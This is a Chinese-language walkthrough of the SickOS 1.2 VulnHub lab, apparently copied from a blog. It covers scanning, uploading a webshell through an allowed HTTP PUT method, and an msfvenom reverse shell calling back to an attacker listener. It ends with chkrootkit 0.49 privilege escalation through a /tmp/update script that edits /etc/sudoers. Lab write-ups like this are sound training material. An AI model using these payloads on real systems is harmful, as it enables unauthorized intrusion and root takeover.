靶机下载地址: https://www.vulnhub.com/entry/sickos-12,144/
一, 主机发现
1.netdiscover -i eth0 -r 192.168.10.0/24
二, 端口扫描
1. masscan --rate=10000 -p0-65535 192.168.10.170
三, 端口服务识别
1. nmap -sV -T4 -O -p 22,80 192.168.10.170
四, 漏洞查找与利用
1. 浏览器访问 http://192.168.10.170, 发现发现登录界面, 尝试目录扫描, 没发现有用信息
2. 发现 http://192.168.10.170/test/
3. 发现 SSH 的版本 OpenSSH 5.9p1, 存在用户枚举漏洞, 用 msf 枚举用户得到用户 John, root
4. 使用 hydra 进行 SSH 爆破, 没有破解出来
5. 发现 web 服务的版本 lighttpd 1.4.28
searchsploit lighttpd, 搜索漏洞, 发现没有什么可利用的漏洞
6. nmap 192.168.10.170 --script=http-methods.nse --script-args=http.methods.url-path="/test" 扫描 / test 页面的支持的 http 方法
或者对 / test 页面抓包, 然后修改请求头为 OPTIONS 查看支持的 HTTP 方法
7. 上传了一个 html 文件进行测试, 发现真的上传成功了 (上传一个不存在的文件会响应 201 Created)
Getshell 方式一:
8. 上传 PHP 一句话
9. 菜刀连接一句话
10. 在菜刀中上传 PHP 反弹 shell, 反弹连接的 IP 以及端口, 端口设置为 443(防火墙阻止了非常用端口出去)
11. 查看系统版本和内核版本
Getshell 方式二:
1.Msfvenom 生成一个反弹 shell
msfvenom -p PHP/meterpreter/reverse_tcp LHOST=192.168.10.168 LPORT=443> shell_443.PHP
2.curl 上传生成的反弹 shell 到目标
3.Msf 开启监听
4. 访问上传的 shell
5. 获得目标的 shell
提权方式一: 利用 exp
1. 查看系统是否存在 chkrootkit, 发现 chkrootkit 的版本为 0.49
2. chkrootkit 0.49 漏洞原理: chkrootkit 有 crontab, 会定期以 root 身份执行 / tmp/update 文件. 如果攻击者知道管理员是定期运行 chkrootkit(通过查看 cron.daily 获知), 并且对 / tmp(没有挂载 noexec) 有写访问权限, 就可以利用该漏洞获取 root 权限.
漏洞利用: 于是我们可以利用这一点, 在 / tmp 目录下新建 update 文件, 做我们想让 root 帮我们做的事
- touch /tmp/update
- chmod +x /tmp/update
- echo 'chmod +w /etc/sudoers && echo"www-data ALL=(ALL)NOPASSWD:ALL">> /etc/sudoers'> /tmp/update
- sudo su root
提权方式二:
1.exploit-database 中对漏洞 chkrootkit 进行搜索
2.msf 中利用对应的漏洞结合已经获得的 session
3. 使用 exploit/unix/local/chkrootkit 模块本地提权, 设置参数
4. 开始攻击, 成功, 获得管理员权限
提权方式三:
1. 编写 exp
2. 上传 exp 到目标靶机
3. 把上传的脚本拷贝到 / tmp 目录下
4. 执行 update, 获得 root 权限
总结:
1, 信息收集, 端口扫描, 服务识别, 目录扫描
2,nmap 的 http-methods.nse 脚本获得目标支持的 http 方法, 发现 / test 页面支持 put 方法
3, 使用 burp 修改包, 用 put 方法上传一句话或者 curl 上传获得 shell
4, 利用 chkrootkit 版本 0.49 定期以 root 身份执行 / tmp/update 文件来提权.
1. 利用 msf 中 chkrootkit 攻击模块
2. 手动创建在 / tmp 创建 update 文件, 然后利用自动执行 update 文件, 在 update 写入添加账户到 sudo 组
3. 使用 C 语言编写 exp, 改变 / tmp 的所属组为 root 以及增加 uid 为 root 权限, 上传都目标服务器, 编译然后执行, 提权成功.
来源: https://www.cnblogs.com/yuzly/p/10854392.html